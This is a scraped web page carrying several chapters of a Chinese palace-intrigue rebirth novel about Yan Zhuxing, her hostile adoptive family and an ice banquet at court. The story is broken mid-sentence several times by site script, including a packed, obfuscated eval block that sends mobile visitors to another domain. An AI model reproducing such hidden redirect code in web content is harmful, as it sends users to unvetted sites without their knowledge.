$(''.inform'').remove();
$(''#content'').append(''
默着一言不发。
她恨透了晏逐星,若是真能将她的容貌毁了,倒也算消了她的心头之气。
唯有晏明远露出了不赞同的表情。
“明月的脸,是软舆出问题才摔伤的,跟星儿有什么关系?”
剩下三个人齐刷刷瞪过来。
这倒是头回有人替晏逐星说话,空气都凝住了。
晏明月松开了手,露出糊满褐色药膏的脸,颤抖着声音问:“大哥,我才是你的亲妹妹。你也要和爹爹一样,不管我,反倒去护着姐姐了么?”
晏明远看着自己的亲妹妹,露出了失望的神色。
他好像头一回认识她。
他沉声道:“你的脸受伤了,就要毁掉姐姐的?世上哪有这样的道理。你不觉得这样太恶毒了吗。”
“大哥,你说我恶毒?”晏明月不可思议地看着他,没想到有朝一日竟然在亲兄长的口中听到了这样的判词。
“大哥,你怎么能这样说明月。她在外边吃了那么多年的苦,是晏逐星顶替她过上了金枝玉叶的生活,她欠明月的。”晏明修站出来维护妹妹。
“这几年星儿做得还不够多吗。”说到这,晏明修有些羞愧地低下了头。
昨日回府后,他因为没有及时护住妹妹,败坏了侯府的名声,被二弟和母亲斥责。
父亲还请了家法,抄起藤条抽得他后背皮开肉绽。
入夜后他趴在冷硬的床板上,听着小厮汇报,说母亲正为明月流泪,二弟正张罗着给妹妹寻祛疤膏。
而他被抽烂的脊背火辣辣地疼,无人在意。
没过多久,晏逐星身边那个小丫鬟悄悄送来一瓶药膏。
那是宫中才有的玉肌膏,价值千金。
他很是不解,最后拖着受伤的身体亲自去了玉澜院问她。
“今日之事,你不恨我么,为何还要给我送药?”
而晏逐星的回答让他始料未及。
第46章 娶她当王妃
“怎么会不恨呢。”晏逐星垂下了头。
“可是再恨,我也忘不了过去那些事情。”
“五岁时,我打碎父亲最爱的砚台,你抢着说是自己失手替我揽下了罪名,被父亲罚去跪祠堂,跪到膝盖肿得走路都一瘸一拐。”
“七岁踏青游,我惊了马,是你把我护在怀里滚下山坡,自己在床上躺了三个月。”
“九岁那年冬至,我和二哥吵架偷溜出府,你顶着大雪找了我三个时辰,自己烧得说胡话手里却还攥着给我买的糖人不放。”
“直到,二妹妹被找回来……”
晏逐星说到后面声音开始发抖。
被她提醒,晏明远也想起了那些封存在记忆里的往事。
在明月回来前,他确实最宠这个妹妹。
是从什么时候开始,他们兄妹的关系变得这么僵了?
“算了。说那些没有意义,反正药没问题。就当还了你从前对我的照顾。”晏逐星吸了吸鼻子,“晏大少爷,以后咱们两清了。”
这话让晏明远蓦地慌乱起来。
像是幼时眼睁睁看着最喜爱的纸鸢挣断丝线,飘飘摇摇融进云里,再也找不回来。
他还想说什么,但又不知道该说什么。
沉默片刻后,晏逐星让人客客气气地将他请出了院子。
“她做什么都是应该的!都是她欠明月的!”晏明修凶狠地打断了他的回忆。
“大哥,你也不要我了吗?”晏明月眼泪掉下来,嘴唇发白。
晏明远忙摇头,将怀中的药小心翼翼地递给她:“胡说什么!你永远是我的妹妹。有了这玉肌膏,你就不用担心脸上留疤了。”
“玉肌膏?这不是宫里才有的么?”晏明月脱口而出。
“嗯。这是星儿给我的。但我伤的是背,我觉得还是你更需要它。”晏明远点了点头。
“那野丫头存心的吧?有玉肌膏怎么不早点送来。”晏明修一脚踹翻了旁边的椅子。
“我看她分明就是故意希望明月脸上留疤。”
晏明月将玉肌膏塞回晏明远手里,怯生生道:“姐姐给你的,我不能要。免得她看到了不高兴。”
“她有什么可不高兴的。这么一小罐子够谁用,你等着,待会我就去找她把剩下的都要来。”晏明修一听这话可就不乐意了。
“皇后娘娘只赏赐了她一罐,她已经全给我了。你还去找她有什么。”晏明远抬手拦住了弟弟。
随后严肃着一张脸看向晏明月。
“星儿为什么不直接把东西给你,你不知道吗?每次她给你的东西,你要么觉得她在炫耀,要么觉得她给的都是次品。”
昨晚从玉澜院失魂落魄地离开后,他趴在床上,睡意全无。
他想了很多事情。
晏明月回来之后,总是动不动就哭,他们很多时候都会误会是晏逐星欺负了她。
可实际上,他们从来没有当面瞧见两人发生冲突。
每一次都是晏明月一哭,大家就去哄她了。
没有人在意晏逐星的感受。
他心底一阵钝痛。
那也曾经是他从小宠到大的妹妹啊。
结果呢,他竟然让她吃了那么多的苦。
甚至邀请她去玄空寺,也是出于算计的目的。
怪不得她连一句大哥都不愿意喊,要用“晏大少爷”来跟他划清界限。
“大哥,你竟然这么想我?”晏明月脸色白得更难看了。
晏明修看到她这副模样,气得想要和大哥动手。
结果他却转身就走了,只留下了一句话:“随你们吧,这玉肌膏若是不要,我便还给星儿了。”
温如霜没想到长子竟然也倒戈到了晏逐星那边。
她心下有些发寒。
不知不觉中,好像一切都变了。
先是侯爷,后是长子。
晏逐星在一步一步瓦解他们。
晏明月见他走得干脆,顿时慌了。
她只是想以退为进啊,怎么大哥不像从前一样哄她,非要她收下不可,竟然直接就拿走了。
她赶忙看向晏明修:“二哥,大哥生我的气了,我的脸怎么办?”
“等着,我这就去把那玉肌膏给你拿回来。”晏明修追了出去。
屋内只剩了温如霜母女二人。
晏明月抿着唇,看向了母亲。
先前她是真的想死,可如今大哥竟然也偏向了晏逐星,她反倒被激起了胜负欲。
不想寻**。
“你不该动那个软舆的。”温如霜叹了一口气。
晏明月脑袋一片空白,她没想到母亲已经不能动弹了,竟然还知道事情是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545112|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她做的。
“娘亲,你,你怎么知道的?”她结结巴巴地开口。
温如霜:……
女儿这点伎俩,都是她从前玩剩下的,她能不清楚么。
但她不能这么说。
她清了清嗓子:“不重要,你只需要记住,晏逐星已经不是从前的晏逐星了。你不是她的对手,不要去招惹她,好好养伤才是要紧事。”
晏明月有些不服气,这一次是她大意了。
等下一次她做好万全的准备,一定不会输给晏逐星。
但看到母亲严厉的目光,她还是老老实实地点了点头。
等她康复了再说。
到时候,她一定要晏逐星付出代价。
她不想听母亲继续说晏逐星的事情,于是转移了话题,问出了自己最关心的问题:“娘亲,我当真要嫁给威宁侯做平妻么?”
“此事还得再议。”说到这个,温如霜也很烦躁。
威宁侯夫人钱氏撞柱后,两家的梁子就彻底结下了。
别说结亲,不结仇就不错了。
可若是不让女儿嫁去威宁侯府,她这脸能不能恢复还不确定。
万一到时候真的毁容了,再加上落水一事,恐怕一辈子都嫁不出去,最后只能绞了头发当姑子去。
*
定远侯府的闹剧都被衔蝉整理成信,传回了永安王府。
停云忍不住嘀咕:“这晏二小姐也太可怜了,豆蔻年华就毁了容,还要被迫嫁给一个比自己大二十岁的老男人。”
谢翊宁斜睨了他一眼:“若不是她心术不正想要先害别人,又怎么会自作自受。”
停云有些迟疑地点了点头:“话是这么说没错,但晏大小姐的手段会不会太狠辣了些?”
谢翊宁有些嫌弃地看了他一眼。
“她这是聪慧,能够以小博大。若她身居高位,有权有势,对付这种腌臜货色直接拖去乱葬岗便是,何需费这些周章,耽误时间。”
停云:……
他就不该说这个话。
在王爷眼里,晏大小姐做什么都是对的。
恐怕哪日晏大小姐用刀子捅了人,他也会夸她捅出来的伤口漂亮。
终于,他还是忍不住发出了和皇后一样的疑惑。
“王爷,您是不是心悦于她,想要娶她当王妃呀?”
第47章 你竟然敢来
“胡说八道!这种话以后莫要再提。”谢翊宁皱眉呵斥。
“我与晏大小姐清清白白,从无私情,你这话若是传出去,知不知道会给她带来多少麻烦。”
停云挠了挠头:“可您总是护着她,难免让人想多嘛。”
谢翊宁认真思索起他的话,点了点头:“你说得有道理,这样下去难免会让人误会。到时候没人敢跟她提亲怎么办。”
停云:……
他真想说王爷您多虑了。
就晏大小姐现在的名声,谁会跟她提亲啊。
谢翊宁眼前一亮:“不如让父皇赐她为郡主吧,这样的话,就算我不出面,也没人敢欺负她了。”
停云无语凝噎:“……您当郡主之位是白菜饺子呢,随便就赏一个出去。”
“这倒也是。得想办法让她立个功,到时候父皇就可以名正言顺地封赏她了。”谢翊宁考虑得十分周全。
停云叹气。
行吧,不管说什么,王爷总归是要护着晏大小姐就对了。
“你叹什么气啊。”谢翊宁拍了拍他的肩膀,笑得肆意张扬。
“放心吧,我绝对不会厚此薄彼的。在我死之前,我会把你们都安顿好的。”
屋内的氛围陡然变得悲伤了起来。
停云抿唇道:“王爷洪福齐天,才不会死。”
“不会死的是老王八。”谢翊宁嗤笑一声。
“行了,不说这些了,照夜那边有没有新消息传回来。”
提起正事,他脸色顿时变得凝重。
他将上辈子近期会发生的大事都写了下来,派人去一件一件去验证。
若是准确了,他得告知父皇早做防范。
“约莫就这几日了。”停云估算着时间给了一个回答。
随后,他又想起了一个事,赶忙道:“对了王爷,那明日的冰嬉宴,您还去么?”
“不去了,每年都是那些把戏,看倦了。”谢翊宁拒绝了。
北风吹来,廊下的灯笼随风摇曳。
月落日升,窗外已换了天地。
冰嬉宴正式开宴。
今年的宴会格外热闹。
虽然定远侯府和威宁侯府都无人来参加这次宴会,但关于他们的话题却是从未断过。
“你们说,威宁侯夫人会妥协么?”
“不知道。反正是我我宁可和离。跟一个和自己女儿差不多大的人姐妹相称,我可做不到。”
“和离不就是给人家让位置么,我可不愿意。要么当妾,平妻想都别想。”
“但那可是定远侯府的二小姐啊。一个嫡女做妾,这怎么可能。”
话题转移到了定远侯府上。
礼部尚书的夫人陈氏忍不住开口:“你们说定远侯府是不是招惹了什么不干净的东西,不然怎么会那么倒霉。”
“那还用说,他们府里全是脏东西。所以遭了这些劫难,都是报应。”卫国公夫人窦淑容一脸嫌弃地开口。
众人露出疑惑的表情。
定远侯府什么时候惹了卫国公夫人?
“马上就过年了,有些人还是给自己积点口德吧。”烈国公夫人赵玉润冷哼一声。
“赵玉润,你说谁不积口德呢。”窦淑容立刻望了过来。
“人家定远侯府可没招惹你,这般诛心之言也说得出口?”赵玉润丝毫不怵她。
“你和定远侯府什么关系,不会真像传言说的那样,你儿子占了晏逐星那野丫头的便宜,所以你心虚想要替她说话吧。”窦淑容眉毛一挑,露出一副尖酸刻薄的表情。
“口口声声说世子爷占我便宜,卫国公夫人可是有证据?”
未见其人,先闻其声。
众人看了过去。
廊下锦帘微动,檀木轮椅碾过青砖的吱呀声刺破满室私语。
轮椅上的晏逐星勾着唇角,直直地看向窦淑容。
众人都有些尴尬,没想到在背地里嚼人舌根正主听到了。
而窦淑容直接伸手指着她,不可思议道:“你竟然敢来?!”
她的火气“噌”一下就冒了出来。
自打公婆和夫君去世后,卫国公府如今只剩她独掌大权,人人都要敬她三分
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545113|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
唯一一次受气,就是在晏逐星那里。
她明明已经和定远侯夫人强调过,有她的宴会晏逐星不许出现,今日温如霜怎么还让这野丫头入宫了。
“当朝文武百官,官居四品及以上的官员均可携女眷参加冰嬉宴,我父乃定远侯,我出现在此有何不可?”晏逐星晏逐星指尖漫不经心拨着腕间伽南香珠。
这是皇后娘娘赏的。
她今日来,也是为了皇后娘娘。
晏逐星越淡定窦淑容就越愤怒。
她无法理解她一个不知来历的野种,怎么敢这样强硬顶撞她的。
她的怒火被晏逐星的笑容点得愈发旺盛,她失了理智怒吼:“本夫人说过,有我的地方没你,你现在就滚!”
“你当这是你卫国公府的后宅呢,你有什么资格让星儿滚。”赵玉润也来气了。
“还有,你给我说清楚,什么叫我儿占了星儿的便宜。今日不掰扯清楚,我们就请皇后娘娘做主。”
她不忍了。
窦淑容不就仗着在场的**多都没她品级高,没她家世显赫所以才这般张狂么。
她和她同样是一品诰命夫人,她倒是要看看,窦淑容能把她怎么着。
*
永安王府里。
谢翊宁正躺在躺椅上,一手给趴在自己身上的白猫顺**,一手捧着书闲看着,好不快活。
忽然见停云急匆匆地走了进来。
“王爷,晏大小姐去了冰嬉宴,卫国公夫人要赶她出宴会。”
“备马,入宫。”谢翊宁毫不犹豫地起身,将猫儿交给了下人,迅速披上大氅就要出门。
停云:……
说好的冰嬉宴无聊不去呢!
他就知道,一提晏大小姐王爷就会改主意。
他认命地去将马儿牵来,跟着王爷一块入了宫。
谢翊宁抵达冰嬉宴时,晏逐星已经不见了身影。
和她起争执的卫国公夫人也不在。
他心头咯噔一跳。
不会吧,他只是晚来一步,他的小救命恩人就被赶走了吗?
第48章 抱上大腿了
一刻钟前。
卫国公夫人窦淑容和烈国公夫人赵玉润起了争执。
在场的贵夫人们试图想要劝解,但这两人谁也不让谁。
就在场面僵持不下之际。
皇后身边的吴嬷嬷来了,她笑眯眯地将手里的暖炉塞给了晏逐星。
“姑娘,天寒地冻的,您来了怎么也不遣人同老奴说一声。皇后娘娘正等着您呢。”
这亲昵的语气和态度,让在场所有人一怔。
尤其是窦淑容,那个表情几乎跟见鬼了一样。
皇后娘娘为何待这个野丫头这么亲厚?
“是我的错,让皇后娘娘久等了。”她柔声回应吴嬷嬷,而后看向了烈国公夫人。
“干娘,皇后娘娘寻我,我先过去了。待会冰嬉宴结束了,咱们一块回去吧,我给您和哥哥都带了东西,在马车上呢。”
“好。干娘等你!”烈国公夫人笑了起来,眉眼间满是欣慰。
“嬷嬷,咱们走吧。”晏逐星轻轻拍了拍轮椅的把手。
身后的衔蝉会意,推着她跟上了吴嬷嬷。
她一走,便有夫人忍不住问烈国公夫人,她和晏逐星是什么关系,为何晏逐星要称呼她为干娘。
“上回威宁侯府做客,这孩子投了我的眼缘。我见她懂事乖巧,行事进退有度,心生欢喜,便和夫君商议后打算将她认作义女。只是近来有事耽搁了,认亲宴还没办上。打算等年后,再邀诸位一同来乐呵乐呵。”
烈国公夫人说着眼尾的笑纹深了几许,显然对晏逐星十分满意。
众人落在窦淑容身上的目光就变得微妙了许多。
皇后和烈国公夫人都对定远侯府大小姐另眼相待,怎么就她一个人厌恶人家呢。
窦淑容听到这话,头发都要气得倒竖起来了。
性子乖巧懂事?行事进退有度?
这哪个词和晏逐星有关系。
但她也意识到了,不能继续大发脾气,不然今日沦为笑柄的就是她了。
但她面对众人那些打探的目光,依旧如坐针毡。
她狠狠掐了自己一把,扫了一眼弟妹阮氏。
“二弟妹,我有些头晕。”
阮氏忙道:“那咱们赶紧回府吧。”
她立刻示意丫鬟搀扶窦淑容,随后去给皇后娘娘知会一声,得了许可后,急匆匆地离开了宴会现场。
因而这会谢翊宁赶到时,晏逐星和卫国公夫人都不在场了。
“王爷,皇后娘娘有请。”就在他四下张望时,皇后身边的大宫女云黛走了过来。
谢翊宁略一思索,冲着停云压低声音道:“你打听打听她去了哪里。”
虽然没有明说。
但二人心知肚明,他说的是谁。
“是。”停云认命应下。
谢翊宁跟着云黛走了。
刚准备行礼,他就看到了坐在母后身旁的人。
晏逐星端坐在轮椅上,指尖还捏着半块芙蓉酥,腮帮子微微鼓起,模样有些像他养在王府里的那只猫儿。
皇后看了一眼晏逐星,而后揶揄地看向怔住的儿子:“石头,你不是说这宴会每年都是那些把戏,看倦了,不来了么。”
听到这话晏逐星眼睛倏地睁圆,手中的芙蓉酥瞬间被捏掉了一块碎渣。
她赶忙收回视线。
什么,永安王竟然有这么一个朴实无华的小名。
不知道为什么,这个小名被她听到,谢翊宁莫名有些羞耻,耳根微微有些发红。
皇后露出了然的神情。
知子莫若母。
石头肯定喜欢定远侯府的这位大姑娘,只是他自己还不知道罢了。
她可没见过石头什么时候对姑娘这么上心。
“这不是想着进来陪陪您么。”谢翊宁见她安然无恙地陪在母后身边,知晓应该没吃什么亏,心里的石头总算落了地。
“陪我还是陪别人?”皇后继续打趣他。
“您若不想看见儿子,我走就是了。反正也确实没什么好玩的。”谢翊宁说完转身就走。
动作那叫一个干脆利落,丝毫没有留恋。
皇后被他的举动给噎住了。
这死孩子,不就是调侃了两句么,怎么这么不禁逗呀。
她倒也没有派人去追,只是扭头温和地看向了晏逐星。
“晏家丫头,先前听到本宫唤永安王石头,你是不是很惊讶啊?”
“是有一些。”晏逐星不好意思地点了点头。
皇后叹了一口气:“没办法,国师断言石头活不过及冠之年,本宫只能效仿民间百姓,他取一个好养
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553461|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
活的名字。只盼他能熬过这一劫。”
晏逐星猛地想起上一世谢翊宁是和她一块死在了战场上。
那个时候的他,满二十岁了么?
按照帝后对他疼爱的程度,怎么会让他去战场呢。
她来不及细想,只得温声安慰皇后:“我曾听旁人说过,王爷十五岁春猎时,和黑熊搏斗得虎口撕裂见了骨都没放弃,最后成功猎杀了那头熊。可见王爷心志之坚定。”
“王爷当年能从黑熊掌下逃出生天,以后自然也能从国师的卦象里挣出一条生路来。”
说着她摊开了双手。
“再说了,陛下掌着山河龙气,娘娘攥着万民福泽,有你们在……”
先前打开的手“啪”一声合上。
“便是阎罗派来索命的黑白无常,也休想将王爷从您二人手中抢走。”
晏逐星的语气愈发坚定:“娘娘要相信王爷,也要相信陛下和您自己。”
皇后用帕子压了压发红的眼尾,眉眼却弯成月牙。
她又惊又喜地盯着晏逐星,忍不住在心底感慨:小石头的眼光可真好。
中意的竟然是这样一个聪慧伶俐又善解人意的好姑娘。
她不怕儿媳妇有心眼子,就怕儿媳妇是蠢人。
她看晏逐星真是越看越满意。
她笑着点头:“你说得对。石头这么优秀,一定会长命百岁的。”
见皇后娘娘笑容灿烂,晏逐星心底长长地舒了一口气。
意识到谢翊宁也是重生的之后,她便派人仔细打听了他过往所有大大小小的事情。
虽然不知道什么时候会有用,但有备无患。
瞧,这不就用上了么。
“本宫与你颇为投缘,这翡翠缠丝镯便赏你了。”皇后将手上的镯子褪下,亲自替她戴上。
“多谢皇后娘娘恩典。”晏逐星赶忙道谢。
她今日入宫,为的就是抱紧皇后娘娘的大腿,日后好继续扯这张虎皮当大旗。
如今的情况比她预计的还要圆满,她十分满意,终于有闲工夫来看那些宴会上的表演了。
她坐在皇后下首的位置,惹来了无数妒忌的目光。
“不过是一个来路不明的野丫头,怎就惹得母后这般喜爱?”一个不甘的声音响起。
第49章 她倒是聪明
“可不么。听说母后之前还想让她教十妹妹在冰嬉宴上跳破阵舞。这人都多少年没出现在宴会上了,看着也不像会跳舞的样子呀。若是真让十妹妹跟她学了,今日恐怕就要出糗了。”五公主谢娇哼了一声。
先前开口挑拨的六公主谢妙点了点头,她瞥了一眼十公主:“十妹妹。听说母后赏赐了定远侯府大小姐好几回,如今还要经常召她入宫作伴。到时候,你不会失宠吧。”
满后宫皆知,父皇最爱的就是皇后娘娘。
谁若讨好了皇后娘娘,得了皇后娘娘的青眼,就能得道升天。
连同他们的母妃也能得到父皇的几分和颜悦色。
十公主谢媞的生母夏昭仪,不就是因为和皇后娘娘关系好,因此父皇每个月总会抽出两三天时间去她宫里坐坐。
不像其他人,有时候几个月都见不着父皇一次。
她们费尽心机讨皇后娘娘喜欢,但皇后娘娘始终淡然处之。
谁知她这一回却偏偏对一个侯府之女另眼相待。
怎能让她们不嫉妒。
十公主谢媞见火烧到了自己身上,笑嘻嘻道:“皇后娘娘可疼我了,才不会不喜欢我呢。对了,五姐姐,六姐姐,快到我献艺的时候了,我先走了。”
说完她脚底抹油,直接开溜。
她才不想和他们说这些无聊的话。
到时候传出去,还不知道会变成什么样呢。
母妃说了,在后宫当中一定要管好自己的嘴巴,谨言慎行。
想要以后过得好,皇后娘娘的恩宠少不了。
说句大逆不道的,就算日后父皇不在了,皇后娘娘也能当上太后,她和母妃的荣华富贵全都系在皇后娘娘的身上。
她才不会犯傻得罪皇后娘娘呢。
见她溜得飞快,谢娇和谢妙都变了脸色。
“她倒是聪明。”谢娇冷笑一声。
原想着挑拨一下谢媞,让她出手去对付晏逐星,好让皇后娘娘厌恶谢媞,她们趁虚而入。
没想到她走得那么快。
“五姐姐,那怎么之后咱们该怎么做啊。”谢妙看向了谢娇。
她向来为谢娇马首是瞻,指哪打哪。
谁让她的生母只是一个微不足道的小宫女呢。
她出生的日子和五公主谢娇只差了半个月,生母生下她时难产而亡,皇后便命人将她送去了五公主生母苏昭仪那里,一块让乳母抚养照料。
后来两人一块长大,干脆就将她也记到了苏昭仪名下。
她知道自己不是亲生的,只能拼命讨好谢娇和苏昭仪,就怕被赶走不管。
谢娇将手里的瓜子壳一扔:“不急,先看看。说不定到时候可以借着定远侯府那位的手除掉夏昭仪。”
老十鬼灵精,明明比他们都小好几岁,可每次他们怎么挑拨她都不上当。
她若犯了错,她的生母夏昭仪也要受牵连,到时候才有她母妃的出头之日。
*
冰嬉宴有惊无险地结束了。
晏逐星被皇后娘娘命人送出宫。
烈国公夫人早就牵着儿子的手在宫门口等她了。
“妹妹,妹妹!”尉迟敦看到晏逐星,立刻露出个灿烂的笑飞奔向她。
“哥哥,慢些,莫摔了。”晏逐星赶忙抬手示意他走慢些。
“给,妹妹。”尉迟敦急忙将藏在怀里的东西掏了出来。
帕子一打开,里边包的是碎了的芙蓉酥。
“好吃,妹妹吃。”他将帕子递到晏逐星面前,眼里亮晶晶的,充满了期待。
快步跟着走过来的烈国公夫人瞧见这一幕,鼻腔有些发酸。
敦儿还记得晞儿最爱吃芙蓉酥了呀。
只是这孩子悄悄将芙蓉酥揣怀里全弄碎了。
蜜馅混着酥油凝成黄白相间的糊状,碎渣泛着冷掉的油光,看着实在有些恶心,叫人怎么吃呀。
她正欲阻止,就看到晏逐星笑眯眯地捻起一小块芙蓉酥尝了一口。
“太好吃啦,谢谢哥哥。”
“嘿嘿嘿,妹妹喜欢就好。”尉迟敦咧开嘴,笑得牙齿都露了出来。
“我也有东西要给哥哥。”晏逐星命衔蝉上马车将之前准备好的东西拿了出来。
“布老虎!”尉迟敦眼前一亮。
“对呀,哥哥喜欢吗?”晏逐星将这个约莫齐腰高的布老虎塞到了他怀里。
“喜欢。”尉迟敦重重点头,他还没见过那么大的布老虎呢。
虎须扫得他下巴痒梭梭的,尉迟敦重重点头,咧嘴一笑:“喜欢,特别喜欢。”
他将脑袋埋在布老虎身上,深深嗅了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553462|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口,惊喜道:“有妹妹的味道!”
尉迟敦对此爱不释手。
一旁的小厮想要替他拿着他都不肯撒手。
他看向晏逐星:“妹妹,走,回家。”
“我腿还没好呢,不能回家。你和娘亲先回家好不好?外边冷,莫要冻着了。冻病了,就要喝药了,你忘了上回喝那药有多苦了么。”晏逐星的态度依旧很温柔。
尉迟敦扁扁嘴,很不乐意,但想到喝药的痛苦,最后还是皱着眉听话地爬上了马车。
他探出脑袋:“妹妹,那你要早点回家哦。”
晏逐星笑着点了点头。
烈国公夫人攥着帕子拭了拭眼角,泪光在眼底打转。
晏逐星笑道:“您前阵子提过兄长总睡不安稳,我特意请季太医配了几味宁神药材,调了安神香填进布老虎肚里。这样哥哥夜里搂着睡,总归能睡踏实些。”
随后又让衔蝉将另一个匣子拿了出来。
“这是一对药玉暖枕。由青玉雕成中空枕匣,填入艾叶、甘松等温经药材,睡前您让丫鬟用炭盆烘热,保管您和干爹能好眠一整夜。这冬日里用着,再合适不过了。”
这个东西,是她命人九栀去截胡的。
上辈子,晏明月在冬至那日从京城的珍宝阁里买下了这一对玉枕,送给了定远侯夫妇。
他们便以此羞辱晏逐星不孝顺,一直夸晏明月知冷暖,果然还是亲生的有孝心。
这一回,晏明月毁了脸,哪里还有心思给他们准备礼物。
晏逐星正好借花献佛,让九栀将此物买来,送给烈国公夫妇。
“好孩子,你有心了。”烈国公夫人心下十分感动。
忍不住再一次感慨。
这个义女,真的是认对了。
她温声嘱咐了晏逐星几句,让她遇上什么事记得来国公府找她,方才带着儿子离开。
不远处撑着伞的晏明远看着这一幕,心里又酸又涩。
曾经那个满眼是他的妹妹,被他弄丢了。
衔蝉瞧见他,压低声音道:“小姐,是大少爷。”
晏逐星看了过去,正好和晏明远四目相对。
和她对视,晏明远下意识地收拢了手,握着伞柄的指节泛起青白,心脏扑通扑通直跳。
星儿,会叫住他么。
第50章 知道真相了
晏逐星冷漠地放下了车帘,吩咐道:“回府吧。”
晏明远可真是够贱的。
上辈子她眼巴巴讨好他们全家,他们却对她弃如敝履,还帮着晏明月一块羞辱她。
这一世,倒是想和她演兄妹情深了?
她才不稀罕呢。
上回演那一出戏,不过是为了挑拨他们的关系罢了。
晏明远提议将她骨灰卖给太傅孙子配冥婚的事情她可没忘呢,这个仇,她一定要报。
晏明远没想到她竟然就这样走了。
父亲先一步回了侯府,他担心只有两个丫鬟和一个马夫跟着她,没办法将她抬上马车,便想着带下人来接她。
谁曾想,她竟然将他当做陌路人一般视而不见。
“少爷,大小姐他们已经走远了。”竹安有些忐忑地提醒傻愣愣站在原地的自家少爷。
“罢了。先回府吧。”晏明远叹了一口气。
冰冻三尺非一日之寒。
他冷落了星儿快五年,她心里对他有怨也是正常的。
好在他及时醒悟,想来之后他们兄妹二人会重修旧好。
*
晏明月得知晏逐星跟着父亲入宫参加了冰嬉宴,在家发了好大一通脾气。
她如今容貌尽毁,只能在家躲起来,晏逐星竟然还大摇大摆地去参加宴会。
她怎能不气。
她将头上的帷帽扯了下来,重重砸到地上,气不过,还踩了两脚。
晏明远掀帘进来时正撞见这一幕。
他弯腰拾起帷帽,叹着气递到她跟前:“好妹妹,别气了。前日陈太医怎么说的。心火愈旺,脸上这疤……”
他瞥见晏明月骤然攥紧的拳头,后半句在舌尖转了个弯,“你这身子,怕康复起来就更慢了。”
“大哥,你也觉得我脸上这疤不会消了是不是?”晏明月“哇”一声哭了出来。
“怎么会。你这瞧瞧,涂了两日玉肌膏,这疤痕都淡了许多。”晏明远将铜镜递到她面前。
晏明月下意识地躲开,随后还是耐不住好奇心,接了过来,对镜打量。
“真的变淡了吗?”她不确定地询问。
“当然。”晏明远重重点头。
“没错没错,奴婢瞧着,过完年,这些疤痕就会彻底消失了。”一旁的芙儿跟着附和。
晏明月半信半疑,放下铜镜止住了眼泪。
她这才瞧见晏明远身上披着的大氅落了雪。
她狐疑地皱眉:“大哥出府了?”
晏明远点头。
“你出府去哪了?”她眉头皱得紧紧的。
晏明远思索着要不要说实话,就看到晏明修气冲冲地闯了进来。
“大哥,你怎么还去接晏逐星那个祸害,你没看到明月被她害得多惨吗。”
晏明月的脸“歘”一下变白了,随后又涨得通红,她泪意盈盈地看着晏明远,似是有无尽的委屈。
晏明远皱眉看向晏明修。
“二弟,星儿也是我们的妹妹。她腿脚不便,身边又没护卫,我身为兄长,去接她有何不可。”
“我不认她是我妹妹,我妹妹只有明月一个。”晏明修毫不客气地回答。
晏明远只觉得十分疲惫。
他不明白最初把明月接回来的时候,不是想着以后他们就有两个妹妹了吗。
为什么非要闹到如今这样势同水火,你死我活的地步。
“还有,你忘了上回她动手打我们的事情了吗?”晏明修依旧耿耿于怀。
“我倒是宁愿她再打我一次,只要她能消气就好。”晏明远自嘲一笑。
今日见到她对尉迟敦的态度。
才知道自己错过了什么。
如今她已经不把他当大哥,只把他当成侯府大少爷了。
晏明修听到这话,露出错愕的表情:“大哥,你疯了吗?”
难不成玄空寺有邪祟。
怎么一个个的,去了玄空寺回来,人就不对劲了。
“我最后说一次,明月的伤与星儿无关。”晏明远盯着二弟,随后扭头看向晏明月。
“软舆和轿夫是你派人找的,对吧?”
他尾音微微上扬,话语里暗藏的机锋让晏明月背后猛地冒出冷汗。
他知道真相了!
“大哥说得对,我和姐姐都是晏家的女儿,我们都是你们的妹妹。二哥,你莫要再这么说了,姐姐会伤心的。”她当机立断抓住了晏明修的手。
晏明远见她表态,愿意和晏逐星和平共处,松了一口气。
他不想再看到两个妹妹自相
